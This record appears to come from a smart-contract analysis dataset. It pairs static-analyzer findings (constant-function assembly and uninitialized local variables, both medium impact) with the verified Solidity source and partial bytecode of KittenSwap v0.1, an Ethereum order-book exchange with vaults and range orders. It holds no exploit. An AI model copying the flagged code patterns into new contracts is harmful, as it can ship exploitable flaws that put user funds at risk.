{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
522
0x4bcafe6c4147e640ed467290ceb6f658187a6e91
/** *Submitted for verification at Etherscan.io on 2021-02-17 */ // _ _ _ _ __ _ // | | (_) | | | / _(_) // | | ___| |_| |_ ___ _ __ | |_ _ _ __ __ _ _ __ ___ ___ // | |/ / | __| __/ _ \ '_ \ | _| | '_ \ / _` | '_ \ / __/ _ \ // | <| | |_| || __/ | | |_| | | | | | | (_| | | | | (_| __/ // |_|\_\_|\__|\__\___|_| |_(_)_| |_|_| |_|\__,_|_| |_|\___\___| // // KittenSwap v0.1 // // https://www.KittenSwap.org/ // pragma solidity ^0.6.12; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "!!add"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "!!sub"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "!!mul"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "!!div"); uint256 c = a / b; return c; } } interface IERC20 { function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } //////////////////////////////////////////////////////////////////////////////// contract KittenSwapV01 { using SafeMath for uint256; using SafeERC20 for IERC20; //////////////////////////////////////////////////////////////////////////////// address public govAddr; address public devAddr; constructor () public { govAddr = msg.sender; devAddr = msg.sender; } modifier govOnly() { require(msg.sender == govAddr, "!gov"); _; } function govTransferAddr(address newAddr) external govOnly { require(newAddr != address(0), "!addr"); govAddr = newAddr; } modifier devOnly() { require(msg.sender == devAddr, "!dev"); _; } function devTransferAddr(address newAddr) external govOnly { require(newAddr != address(0), "!addr"); devAddr = newAddr; } //////////////////////////////////////////////////////////////////////////////// mapping (address => mapping (address => uint)) public vault; event VAULT_DEPOSIT(address indexed user, address indexed token, uint amt); event VAULT_WITHDRAW(address indexed user, address indexed token, uint amt); function vaultWithdraw(address token, uint amt) external { address payable user = msg.sender; vault[user][token] = vault[user][token].sub(amt); if (token == address(0)) { user.transfer(amt); } else { IERC20(token).safeTransfer(user, amt); } emit VAULT_WITHDRAW(user, token, amt); } function vaultDeposit(address token, uint amt) external payable { address user = msg.sender; if (token == address(0)) { vault[user][token] = vault[user][token].add(msg.value); } else { IERC20(token).safeTransferFrom(user, address(this), amt); vault[user][token] = vault[user][token].add(amt); } emit VAULT_DEPOSIT(user, token, amt); } //////////////////////////////////////////////////////////////////////////////// struct MARKET { address token; // fixed after creation uint96 AMT_SCALE; // fixed after creation uint96 PRICE_SCALE; // fixed after creation uint16 DEVFEE_BP; // in terms of basis points (1 bp = 0.01%) } MARKET[] public marketList; event MARKET_CREATE(address indexed token, uint96 $AMT_SCALE, uint96 $PRICE_SCALE, uint indexed id); function govCreateMarket(address $token, uint96 $AMT_SCALE, uint96 $PRICE_SCALE, uint16 $DEVFEE_BP) external govOnly { require ($AMT_SCALE > 0); require ($PRICE_SCALE > 0); require ($DEVFEE_BP <= 60); MARKET memory m; m.token = $token; m.AMT_SCALE = $AMT_SCALE; m.PRICE_SCALE = $PRICE_SCALE; m.DEVFEE_BP = $DEVFEE_BP; marketList.push(m); emit MARKET_CREATE($token, $AMT_SCALE, $PRICE_SCALE, marketList.length - 1); } function govSetDevFee(uint $marketId, uint16 $DEVFEE_BP) external govOnly { require ($DEVFEE_BP <= 60); marketList[$marketId].DEVFEE_BP = $DEVFEE_BP; } //////////////////////////////////////////////////////////////////////////////// struct ORDER { uint32 tokenAmtScaled; // scaled by AMT_SCALE SCALE 10^12 => 1 ~ 2^32-1 means 0.000001 ~ 4294.967295 uint24 priceLowScaled; // scaled by PRICE_SCALE SCALE 10^4 => 1 ~ 2^24-1 means 0.0001 ~ 1677.7215 uint24 priceHighScaled; // scaled by PRICE_SCALE SCALE 10^4 => 1 ~ 2^24-1 means 0.0001 ~ 1677.7215 uint160 userMaker; } mapping (uint => ORDER[]) public orderList; // div 2 = market, mod 2 = 0 sell, 1 buy uint constant UINT32_MAX = 2**32 - 1; event ORDER_CREATE(address indexed userMaker, uint indexed marketIsBuy, uint orderInfo, uint indexed orderId); event ORDER_MODIFY(address indexed userMaker, uint indexed marketIsBuy, uint newOrderInfo, uint indexed orderId); event ORDER_TRADE(address indexed userTaker, address userMaker, uint indexed marketIsBuy, uint fillOrderInfo, uint indexed orderId); //////////////////////////////////////////////////////////////////////////////// function marketCount() external view returns (uint) { return marketList.length; } function orderCount(uint $marketIsBuy) external view returns (uint) { return orderList[$marketIsBuy].length; } //////////////////////////////////////////////////////////////////////////////// function orderCreate(uint $marketIsBuy, uint32 $tokenAmtScaled, uint24 $priceLowScaled, uint24 $priceHighScaled) external payable { require($priceLowScaled > 0, "!priceLow"); require($priceHighScaled > 0, "!priceHigh"); require($priceHighScaled >= $priceLowScaled, "!priceRange"); uint isMakerBuy = $marketIsBuy % 2; MARKET memory m = marketList[$marketIsBuy / 2]; require(m.token != address(0), "!market"); //------------------------------------------------------------------------------ address userMaker = msg.sender; if (isMakerBuy > 0) // buy token -> deposit ETH { uint ethAmt = uint($tokenAmtScaled) * uint(m.AMT_SCALE) * (uint($priceLowScaled) + uint($priceHighScaled)) / uint(m.PRICE_SCALE * 2); require(msg.value == ethAmt, '!eth'); } else // sell token -> deposit token { IERC20 token = IERC20(m.token); if ($tokenAmtScaled > 0) token.safeTransferFrom(userMaker, address(this), uint($tokenAmtScaled) * uint(m.AMT_SCALE)); require(msg.value == 0, '!eth'); } //------------------------------------------------------------------------------ ORDER memory o; o.userMaker = uint160(userMaker); o.tokenAmtScaled = $tokenAmtScaled; o.priceLowScaled = $priceLowScaled; o.priceHighScaled = $priceHighScaled; //------------------------------------------------------------------------------ ORDER[] storage oList = orderList[$marketIsBuy]; oList.push(o); uint orderId = oList.length - 1; uint orderInfo = $tokenAmtScaled | ($priceLowScaled<<32) | ($priceHighScaled<<(32+24)); emit ORDER_CREATE(userMaker, $marketIsBuy, orderInfo, orderId); } //////////////////////////////////////////////////////////////////////////////// function orderModify(uint $marketIsBuy, uint32 newTokenAmtScaled, uint24 newPriceLowScaled, uint24 newPriceHighScaled, uint orderID) external payable { require(newPriceLowScaled > 0, "!priceLow"); require(newPriceHighScaled > 0, "!priceHigh"); require(newPriceHighScaled >= newPriceLowScaled, "!priceRange"); address payable userMaker = msg.sender; ORDER storage o = orderList[$marketIsBuy][orderID]; require (uint160(userMaker) == o.userMaker, "!user"); uint isMakerBuy = $marketIsBuy % 2; MARKET memory m = marketList[$marketIsBuy / 2]; //------------------------------------------------------------------------------ if (isMakerBuy > 0) // old order: maker buy token -> modify ETH amt { uint oldEthAmt = uint(o.tokenAmtScaled) * uint(m.AMT_SCALE) * (uint(o.priceLowScaled) + uint(o.priceHighScaled)) / uint(m.PRICE_SCALE * 2); uint newEthAmt = uint(newTokenAmtScaled) * uint(m.AMT_SCALE) * (uint(newPriceLowScaled) + uint(newPriceHighScaled)) / uint(m.PRICE_SCALE * 2); uint extraEthAmt = (msg.value).add(oldEthAmt).sub(newEthAmt); // throw if not enough if (extraEthAmt > 0) userMaker.transfer(extraEthAmt); // return extra ETH to maker } else // old order: maker sell token -> modify token amt { uint oldTokenAmt = uint(o.tokenAmtScaled) * uint(m.AMT_SCALE); uint newTokenAmt = uint(newTokenAmtScaled) * uint(m.AMT_SCALE); IERC20 token = IERC20(m.token); if (newTokenAmt > oldTokenAmt) { token.safeTransferFrom(userMaker, address(this), newTokenAmt - oldTokenAmt); } else if (newTokenAmt < oldTokenAmt) { token.safeTransfer(userMaker, oldTokenAmt - newTokenAmt); // return extra token to maker } require(msg.value == 0, '!eth'); } //------------------------------------------------------------------------------ if (o.tokenAmtScaled != newTokenAmtScaled) o.tokenAmtScaled = newTokenAmtScaled; if (o.priceLowScaled != newPriceLowScaled) o.priceLowScaled = newPriceLowScaled; if (o.priceHighScaled != newPriceHighScaled) o.priceHighScaled = newPriceHighScaled; uint orderInfo = newTokenAmtScaled | (newPriceLowScaled<<32) | (newPriceHighScaled<<(32+24)); emit ORDER_MODIFY(userMaker, $marketIsBuy, orderInfo, orderID); } //////////////////////////////////////////////////////////////////////////////// function _fill_WLO(ORDER storage o, MARKET memory m, uint isMakerBuy, uint32 $tokenAmtScaled, uint24 fillPriceWorstScaled) internal returns (uint fillTokenAmtScaled, uint fillEthAmt) { uint allSlots = uint(1) + uint(o.priceHighScaled) - uint(o.priceLowScaled); uint fullFillSlots = allSlots * ($tokenAmtScaled) / uint(o.tokenAmtScaled); if (fullFillSlots > allSlots) { fullFillSlots = allSlots; } if (isMakerBuy > 0) // maker buy token -> taker sell token { require (fillPriceWorstScaled <= o.priceHighScaled, '!price'); uint fillPriceEndScaled = uint(o.priceHighScaled).sub(fullFillSlots); if ((uint(fillPriceWorstScaled) * 2) > (o.priceHighScaled)) { uint _ppp = (uint(fillPriceWorstScaled) * 2) - (o.priceHighScaled); if (fillPriceEndScaled < _ppp) fillPriceEndScaled = _ppp; } require (fillPriceEndScaled <= o.priceHighScaled, '!price'); //------------------------------------------------------------------------------ if (($tokenAmtScaled >= o.tokenAmtScaled) && (fillPriceEndScaled <= o.priceLowScaled)) // full fill { fillTokenAmtScaled = o.tokenAmtScaled; fillEthAmt = uint(fillTokenAmtScaled) * uint(m.AMT_SCALE) * (uint(o.priceLowScaled) + uint(o.priceHighScaled)) / uint(m.PRICE_SCALE * 2); o.tokenAmtScaled = 0; return (fillTokenAmtScaled, fillEthAmt); } //------------------------------------------------------------------------------ { uint fillTokenAmtFirst = 0; // full fill @ [fillPriceEndScaled+1, priceHighScaled] { uint firstFillSlots = uint(o.priceHighScaled) - uint(fillPriceEndScaled); fillTokenAmtFirst = firstFillSlots * uint(o.tokenAmtScaled) * uint(m.AMT_SCALE) / allSlots; } fillEthAmt = fillTokenAmtFirst * (uint(o.priceHighScaled) + uint(fillPriceEndScaled) + 1) / uint(m.PRICE_SCALE * 2); uint fillTokenAmtSecond = (uint($tokenAmtScaled) * uint(m.AMT_SCALE)).sub(fillTokenAmtFirst); // partial fill @ fillPriceEndScaled { uint amtPerSlot = uint(o.tokenAmtScaled) * uint(m.AMT_SCALE) / allSlots; if (fillTokenAmtSecond > amtPerSlot) { fillTokenAmtSecond = amtPerSlot; } } fillTokenAmtScaled = (fillTokenAmtFirst + fillTokenAmtSecond) / uint(m.AMT_SCALE); fillTokenAmtSecond = (fillTokenAmtScaled * uint(m.AMT_SCALE)).sub(fillTokenAmtFirst); fillEthAmt = fillEthAmt.add(fillTokenAmtSecond * fillPriceEndScaled / uint(m.PRICE_SCALE)); } //------------------------------------------------------------------------------ uint newPriceHighScaled = ( ( uint(o.tokenAmtScaled) * uint(m.AMT_SCALE) * (uint(o.priceLowScaled) + uint(o.priceHighScaled)) ) .sub ( fillEthAmt * uint(m.PRICE_SCALE * 2) ) ) / ( (uint(o.tokenAmtScaled).sub(fillTokenAmtScaled)) * uint(m.AMT_SCALE) ) ; newPriceHighScaled = newPriceHighScaled.sub(o.priceLowScaled); require (newPriceHighScaled >= o.priceLowScaled, "!badFinalRange"); // shall never happen o.priceHighScaled = uint24(newPriceHighScaled); o.tokenAmtScaled = uint32(uint(o.tokenAmtScaled).sub(fillTokenAmtScaled)); } //------------------------------------------------------------------------------ else // maker sell token -> taker buy token { require (fillPriceWorstScaled >= o.priceLowScaled, '!price'); uint fillPriceEndScaled = uint(o.priceLowScaled).add(fullFillSlots); { uint _ppp = (uint(fillPriceWorstScaled) * 2).sub(o.priceLowScaled); if (fillPriceEndScaled > _ppp) fillPriceEndScaled = _ppp; } require (fillPriceEndScaled >= o.priceLowScaled, '!price'); //------------------------------------------------------------------------------ if (($tokenAmtScaled >= o.tokenAmtScaled) && (fillPriceEndScaled >= o.priceHighScaled)) // full fill { fillTokenAmtScaled = o.tokenAmtScaled; fillEthAmt = uint(fillTokenAmtScaled) * uint(m.AMT_SCALE) * (uint(o.priceLowScaled) + uint(o.priceHighScaled)) / uint(m.PRICE_SCALE * 2); o.tokenAmtScaled = 0; return (fillTokenAmtScaled, fillEthAmt); } //------------------------------------------------------------------------------ { uint fillTokenAmtFirst = 0; // full fill @ [priceLowScaled, fillPriceEndScaled-1] { uint firstFillSlots = uint(fillPriceEndScaled) - uint(o.priceLowScaled); fillTokenAmtFirst = firstFillSlots * uint(o.tokenAmtScaled) * uint(m.AMT_SCALE) / allSlots; } fillEthAmt = fillTokenAmtFirst * (uint(o.priceLowScaled) + uint(fillPriceEndScaled) - 1) / uint(m.PRICE_SCALE * 2); uint fillTokenAmtSecond = (uint($tokenAmtScaled) * uint(m.AMT_SCALE)).sub(fillTokenAmtFirst); // partial fill @ fillPriceEndScaled { uint amtPerSlot = uint(o.tokenAmtScaled) * uint(m.AMT_SCALE) / allSlots; if (fillTokenAmtSecond > amtPerSlot) { fillTokenAmtSecond = amtPerSlot; } } fillTokenAmtScaled = (fillTokenAmtFirst + fillTokenAmtSecond) / uint(m.AMT_SCALE); fillTokenAmtSecond = (fillTokenAmtScaled * uint(m.AMT_SCALE)).sub(fillTokenAmtFirst); fillEthAmt = fillEthAmt.add(fillTokenAmtSecond * fillPriceEndScaled / uint(m.PRICE_SCALE)); } //------------------------------------------------------------------------------ o.tokenAmtScaled = uint32(uint(o.tokenAmtScaled).sub(fillTokenAmtScaled)); o.priceLowScaled = uint24(fillPriceEndScaled); } } //////////////////////////////////////////////////////////////////////////////// function orderTrade(uint $marketIsBuy, uint32 $tokenAmtScaled, uint24 fillPriceWorstScaled, uint orderID) external payable { ORDER storage o = orderList[$marketIsBuy][orderID]; require ($tokenAmtScaled > 0, '!amt'); require (o.tokenAmtScaled > 0, '!amt'); address payable userTaker = msg.sender; address payable userMaker = payable(o.userMaker); uint isMakerBuy = $marketIsBuy % 2; MARKET memory m = marketList[$marketIsBuy / 2]; IERC20 token = IERC20(m.token); uint fillTokenAmtScaled = 0; uint fillEthAmt = 0; //------------------------------------------------------------------------------ if (o.priceLowScaled == o.priceHighScaled) // simple limit order { uint fillPriceScaled = o.priceLowScaled; if (isMakerBuy > 0) { // maker buy token -> taker sell token require (fillPriceScaled >= fillPriceWorstScaled, "!price"); // sell at higher price } else { // maker sell token -> taker buy token require (fillPriceScaled <= fillPriceWorstScaled, "!price"); // buy at lower price } //------------------------------------------------------------------------------ fillTokenAmtScaled = $tokenAmtScaled; if (fillTokenAmtScaled > o.tokenAmtScaled) fillTokenAmtScaled = o.tokenAmtScaled; fillEthAmt = fillTokenAmtScaled * uint(m.AMT_SCALE) * (fillPriceScaled) / uint(m.PRICE_SCALE); o.tokenAmtScaled = uint32(uint(o.tokenAmtScaled).sub(fillTokenAmtScaled)); } //------------------------------------------------------------------------------ else // Wide Limit Order { require (o.priceHighScaled > o.priceLowScaled, '!badOrder'); (fillTokenAmtScaled, fillEthAmt) = _fill_WLO(o, m, isMakerBuy, $tokenAmtScaled, fillPriceWorstScaled); // will modify order } //------------------------------------------------------------------------------ require(fillTokenAmtScaled > 0, "!fillTokenAmtScaled"); require(fillEthAmt > 0, "!fillEthAmt"); uint fillTokenAmt = fillTokenAmtScaled * uint(m.AMT_SCALE); if (isMakerBuy > 0) // maker buy token -> taker sell token { token.safeTransferFrom(userTaker, userMaker, fillTokenAmt); // send token to maker (from taker) uint devFee = fillEthAmt * uint(m.DEVFEE_BP) / (10000); vault[devAddr][address(0)] = vault[devAddr][address(0)].add(devFee); userTaker.transfer(fillEthAmt.sub(devFee)); // send eth to taker require(msg.value == 0, '!eth'); } else // maker sell token -> taker buy token { require(msg.value >= fillEthAmt, '!eth'); token.safeTransfer(userTaker, fillTokenAmt); // send token to taker uint devFee = fillEthAmt * uint(m.DEVFEE_BP) / (10000); vault[devAddr][address(0)] = vault[devAddr][address(0)].add(devFee); userMaker.transfer(fillEthAmt.sub(devFee)); // send eth to maker if (msg.value > fillEthAmt) { userTaker.transfer(msg.value - fillEthAmt); // return extra eth to taker } } //------------------------------------------------------------------------------ uint orderInfo = fillTokenAmtScaled | fillEthAmt<<32; emit ORDER_TRADE(userTaker, userMaker, $marketIsBuy, orderInfo, orderID); } }
0x6080604052600436106100f35760003560e01c806397cf5e851161008a578063cb85ce6711610059578063cb85ce6714610424578063d7628cb914610455578063da09c72c14610488578063ec9790821461049d576100f3565b806397cf5e85146102e2578063a0eefff014610339578063c1ec95c01461037d578063c717978f146103ea576100f3565b806333763d9a116100c657806333763d9a1461021557806342edd8e01461023f5780635bdc609b1461027257806379c7ba5d146102ae576100f3565b8063042bbe3a146100f85780630fe31eb1146101265780631b54cc881461015f578063232b956c146101ac575b600080fd5b6101246004803603604081101561010e57600080fd5b506001600160a01b0381351690602001356104b2565b005b34801561013257600080fd5b506101246004803603604081101561014957600080fd5b506001600160a01b0381351690602001356105d8565b34801561016b57600080fd5b5061019a6004803603604081101561018257600080fd5b506001600160a01b03813581169160200135166106d6565b60408051918252519081900360200190f35b3480156101b857600080fd5b506101d6600480360360208110156101cf57600080fd5b50356106f3565b604080516001600160a01b0390951685526001600160601b039384166020860152919092168382015261ffff9091166060830152519081900360800190f35b34801561022157600080fd5b5061019a6004803603602081101561023857600080fd5b5035610749565b34801561024b57600080fd5b506101246004803603602081101561026257600080fd5b50356001600160a01b031661075b565b6101246004803603608081101561028857600080fd5b5080359063ffffffff6020820135169062ffffff60408201358116916060013516610808565b3480156102ba57600080fd5b50610124600480360360408110156102d157600080fd5b508035906020013561ffff16610c7c565b3480156102ee57600080fd5b506101246004803603608081101561030557600080fd5b5080356001600160a01b03169060208101356001600160601b03908116916040810135909116906060013561ffff16610d13565b610124600480360360a081101561034f57600080fd5b5080359063ffffffff6020820135169062ffffff604082013581169160608101359091169060800135610ee0565b34801561038957600080fd5b506103ad600480360360408110156103a057600080fd5b5080359060200135611331565b6040805163ffffffff909516855262ffffff938416602086015291909216838201526001600160a01b039091166060830152519081900360800190f35b6101246004803603608081101561040057600080fd5b5080359063ffffffff6020820135169062ffffff604082013516906060013561138b565b34801561043057600080fd5b506104396119d5565b604080516001600160a01b039092168252519081900360200190f35b34801561046157600080fd5b506101246004803603602081101561047857600080fd5b50356001600160a01b03166119e4565b34801561049457600080fd5b50610439611a91565b3480156104a957600080fd5b5061019a611aa0565b336001600160a01b03831661051c576001600160a01b038082166000908152600260209081526040808320938716835292905220546104f19034611aa6565b6001600160a01b03808316600090815260026020908152604080832093881683529290522055610588565b6105316001600160a01b038416823085611aef565b6001600160a01b038082166000908152600260209081526040808320938716835292905220546105619083611aa6565b6001600160a01b038083166000908152600260209081526040808320938816835292905220555b826001600160a01b0316816001600160a01b03167f58aaa25e49f6db631eebde1d004a0f3cb1cae2cb4008f61d5e6a7081e0e2ea0a846040518082815260200191505060405180910390a3505050565b3360008181526002602090815260408083206001600160a01b03871684529091529020546106069083611b4f565b6001600160a01b03808316600090815260026020908152604080832093881680845293909152902091909155610672576040516001600160a01b0382169083156108fc029084906000818181858888f1935050505015801561066c573d6000803e3d6000fd5b50610686565b6106866001600160a01b0384168284611b94565b826001600160a01b0316816001600160a01b03167f0586cc6cb62e10f10d84ac63e536d8276b8ab868d370ff7744566a4137316fc3846040518082815260200191505060405180910390a3505050565b600260209081526000928352604080842090915290825290205481565b6003818154811061070057fe5b6000918252602090912060029091020180546001909101546001600160a01b03821692506001600160601b03600160a01b90920482169181169061ffff600160601b9091041684565b60009081526004602052604090205490565b6000546001600160a01b031633146107a3576040805162461bcd60e51b8152602060048083019190915260248201526310b3b7bb60e11b604482015290519081900360640190fd5b6001600160a01b0381166107e6576040805162461bcd60e51b815260206004820152600560248201526410b0b2323960d91b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b60008262ffffff161161084e576040805162461bcd60e51b81526020600482015260096024820152682170726963654c6f7760b81b604482015290519081900360640190fd5b60008162ffffff1611610895576040805162461bcd60e51b815260206004820152600a602482015269042e0e4d2c6ca90d2ced60b31b604482015290519081900360640190fd5b8162ffffff168162ffffff1610156108e2576040805162461bcd60e51b815260206004820152600b60248201526a21707269636552616e676560a81b604482015290519081900360640190fd5b600184166108ee612521565b600360028704815481106108fe57fe5b600091825260209182902060408051608081018252600290930290910180546001600160a01b0381168085526001600160601b03600160a01b9092048216958501959095526001909101549081169183019190915261ffff600160601b90910416606082015291506109a1576040805162461bcd60e51b8152602060048201526007602482015266085b585c9ad95d60ca1b604482015290519081900360640190fd5b338215610a2c57600082604001516002026001600160601b03168562ffffff168762ffffff160184602001516001600160601b03168963ffffffff160202816109e657fe5b049050803414610a26576040805162461bcd60e51b81526020600480830191909152602482015263042cae8d60e31b604482015290519081900360640190fd5b50610aad565b815163ffffffff871615610a6f57610a6f823085602001516001600160601b03168a63ffffffff1602846001600160a01b0316611aef909392919063ffffffff16565b3415610aab576040805162461bcd60e51b81526020600480830191909152602482015263042cae8d60e31b604482015290519081900360640190fd5b505b610ab5612521565b8181606001906001600160a01b031690816001600160a01b03168152505086816000019063ffffffff16908163ffffffff168152505085816020019062ffffff16908162ffffff168152505084816040019062ffffff16908162ffffff16815250506000600460008a8152602001908152602001600020905080829080600181540180825580915050600190039060005260206000200160009091909190915060008201518160000160006101000a81548163ffffffff021916908363ffffffff16021790555060208201518160000160046101000a81548162ffffff021916908362ffffff16021790555060408201518160000160076101000a81548162ffffff021916908362ffffff160217905550606082015181600001600a6101000a8154816001600160a01b0302191690836001600160a01b031602179055505050600060018280549050039050600060388862ffffff16901b62ffffff1660208a62ffffff16901b62ffffff168b171763ffffffff169050818b866001600160a01b03167f219ffa51265844bd01d3b42f033eed7742d9447a7237f1b733f3dbcae03dfe72846040518082815260200191505060405180910390a45050505050505050505050565b6000546001600160a01b03163314610cc4576040805162461bcd60e51b8152602060048083019190915260248201526310b3b7bb60e11b604482015290519081900360640190fd5b603c8161ffff161115610cd657600080fd5b8060038381548110610ce457fe5b9060005260206000209060020201600101600c6101000a81548161ffff021916908361ffff1602179055505050565b6000546001600160a01b03163314610d5b576040805162461bcd60e51b8152602060048083019190915260248201526310b3b7bb60e11b604482015290519081900360640190fd5b6000836001600160601b031611610d7157600080fd5b6000826001600160601b031611610d8757600080fd5b603c8161ffff161115610d9957600080fd5b610da1612521565b6001600160a01b038086168083526001600160601b038087166020808601828152888416604080890182815261ffff808c1660608c019081526003805460018101825560008290528d5160029091027fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b8101805499518d16600160a01b02928f166001600160a01b0319909a1699909917909d161790965591517fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85c909a0180549251909116600160601b0261ffff60601b199a9098166bffffffffffffffffffffffff1990921691909117989098169590951790965554835192835290820194909452815160001994909401937f6519feb3e6be8989ebf94368dcc591b9635818a96e48eb37719b4c364b69c214929181900390910190a35050505050565b60008362ffffff1611610f26576040805162461bcd60e51b81526020600482015260096024820152682170726963654c6f7760b81b604482015290519081900360640190fd5b60008262ffffff1611610f6d576040805162461bcd60e51b815260206004820152600a602482015269042e0e4d2c6ca90d2ced60b31b604482015290519081900360640190fd5b8262ffffff168262ffffff161015610fba576040805162461bcd60e51b815260206004820152600b60248201526a21707269636552616e676560a81b604482015290519081900360640190fd5b600085815260046020526040812080543392919084908110610fd857fe5b600091825260209091200180549091506001600160a01b03838116600160501b9092041614611036576040805162461bcd60e51b815260206004820152600560248201526410bab9b2b960d91b604482015290519081900360640190fd5b60018716611042612521565b600360028a048154811061105257fe5b60009182526020918290206040805160808101825260029390930290910180546001600160a01b0381168452600160a01b90046001600160601b03908116948401949094526001015492831690820152600160601b90910461ffff166060820152905081156111ab576040810151835460208301516000926001600160601b03600290910281169263ffffffff81169190921602600160201b820462ffffff908116600160381b9093041691909101028161110957fe5b049050600082604001516002026001600160601b03168862ffffff168a62ffffff160184602001516001600160601b03168c63ffffffff1602028161114a57fe5b04905060006111638261115d3486611aa6565b90611b4f565b905080156111a3576040516001600160a01b0388169082156108fc029083906000818181858888f193505050501580156111a1573d6000803e3d6000fd5b505b505050611251565b6020810151835482516001600160601b0390921663ffffffff918216810292918b160290828211156111f3576111ee6001600160a01b0382168830868603611aef565b611211565b82821015611211576112116001600160a01b03821688848603611b94565b341561124d576040805162461bcd60e51b81526020600480830191909152602482015263042cae8d60e31b604482015290519081900360640190fd5b5050505b825463ffffffff89811691161461127657825463ffffffff191663ffffffff89161783555b825462ffffff888116600160201b90920416146112a957825466ffffff000000001916600160201b62ffffff8916021783555b825462ffffff878116600160381b90920416146112db57825462ffffff60381b1916600160381b62ffffff8816021783555b6040805163ffffffff8a16808252915187918c916001600160a01b038916917fbfae90e027bbda5ea36db1fb40d3f291424a5336695de8b99136e7093e45d3f3919081900360200190a450505050505050505050565b6004602052816000526040600020818154811061134a57fe5b60009182526020909120015463ffffffff8116925062ffffff600160201b820481169250600160381b820416906001600160a01b03600160501b9091041684565b60008481526004602052604081208054839081106113a557fe5b90600052602060002001905060008463ffffffff16116113f5576040805162461bcd60e51b8152602060048083019190915260248201526308585b5d60e21b604482015290519081900360640190fd5b805463ffffffff16611437576040805162461bcd60e51b8152602060048083019190915260248201526308585b5d60e21b604482015290519081900360640190fd5b80543390600160501b90046001600160a01b031660018716611457612521565b600360028a048154811061146757fe5b6000918252602080832060408051608081018252600290940290910180546001600160a01b0381168086526001600160601b03600160a01b9092048216948601949094526001909101549081169184019190915261ffff600160601b909104166060830152875491935091908190600160201b810462ffffff908116600160381b90920416141561160e578754600160201b900462ffffff16851561154e578a62ffffff16811015611549576040805162461bcd60e51b815260206004820152600660248201526521707269636560d01b604482015290519081900360640190fd5b611591565b8a62ffffff16811115611591576040805162461bcd60e51b815260206004820152600660248201526521707269636560d01b604482015290519081900360640190fd5b885463ffffffff808e169450168311156115b057885463ffffffff1692505b84604001516001600160601b03168186602001516001600160601b0316850202816115d757fe5b8a5491900492506115f39063ffffffff908116908590611b4f16565b895463ffffffff191663ffffffff9190911617895550611677565b875462ffffff600160201b82048116600160381b9092041611611664576040805162461bcd60e51b815260206004820152600960248201526810b130b227b93232b960b91b604482015290519081900360640190fd5b6116718885878e8e611beb565b90925090505b600082116116c2576040805162461bcd60e51b815260206004820152601360248201527208599a5b1b151bdad95b905b5d14d8d85b1959606a1b604482015290519081900360640190fd5b60008111611705576040805162461bcd60e51b815260206004820152600b60248201526a08599a5b1b115d1a105b5d60aa1b604482015290519081900360640190fd5b60208401516001600160601b031682028515611821576117306001600160a01b038516898984611aef565b6000612710866060015161ffff1684028161174757fe5b6001546001600160a01b03166000908152600260209081526040808320838052909152902054919004915061177c9082611aa6565b6001546001600160a01b03908116600090815260026020908152604080832083805290915290209190915589166108fc6117b68584611b4f565b6040518115909202916000818181858888f193505050501580156117de573d6000803e3d6000fd5b50341561181b576040805162461bcd60e51b81526020600480830191909152602482015263042cae8d60e31b604482015290519081900360640190fd5b50611966565b8134101561185f576040805162461bcd60e51b81526020600480830191909152602482015263042cae8d60e31b604482015290519081900360640190fd5b6118736001600160a01b0385168983611b94565b6000612710866060015161ffff1684028161188a57fe5b6001546001600160a01b0316600090815260026020908152604080832083805290915290205491900491506118bf9082611aa6565b6001546001600160a01b03908116600090815260026020908152604080832083805290915290209190915588166108fc6118f98584611b4f565b6040518115909202916000818181858888f19350505050158015611921573d6000803e3d6000fd5b5082341115611964576040516001600160a01b038a16903485900380156108fc02916000818181858888f19350505050158015611962573d6000803e3d6000fd5b505b505b6000602083901b841790508a8e8a6001600160a01b03167f05e0db78ec0e4b398d129053215be9d7cdf64d7fa53c1c1b6c2bc780dc73bc7b8b8560405180836001600160a01b031681526020018281526020019250505060405180910390a45050505050505050505050505050565b6000546001600160a01b031681565b6000546001600160a01b03163314611a2c576040805162461bcd60e51b8152602060048083019190915260248201526310b3b7bb60e11b604482015290519081900360640190fd5b6001600160a01b038116611a6f576040805162461bcd60e51b815260206004820152600560248201526410b0b2323960d91b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6001546001600160a01b031681565b60035490565b600082820183811015611ae8576040805162461bcd60e51b8152602060048201526005602482015264084858591960da1b604482015290519081900360640190fd5b9392505050565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052611b4990859061232d565b50505050565b600082821115611b8e576040805162461bcd60e51b81526020600482015260056024820152641090b9bab160d91b604482015290519081900360640190fd5b50900390565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052611be690849061232d565b505050565b8454600090819062ffffff600160201b82048116600160381b83049091160360010190829063ffffffff9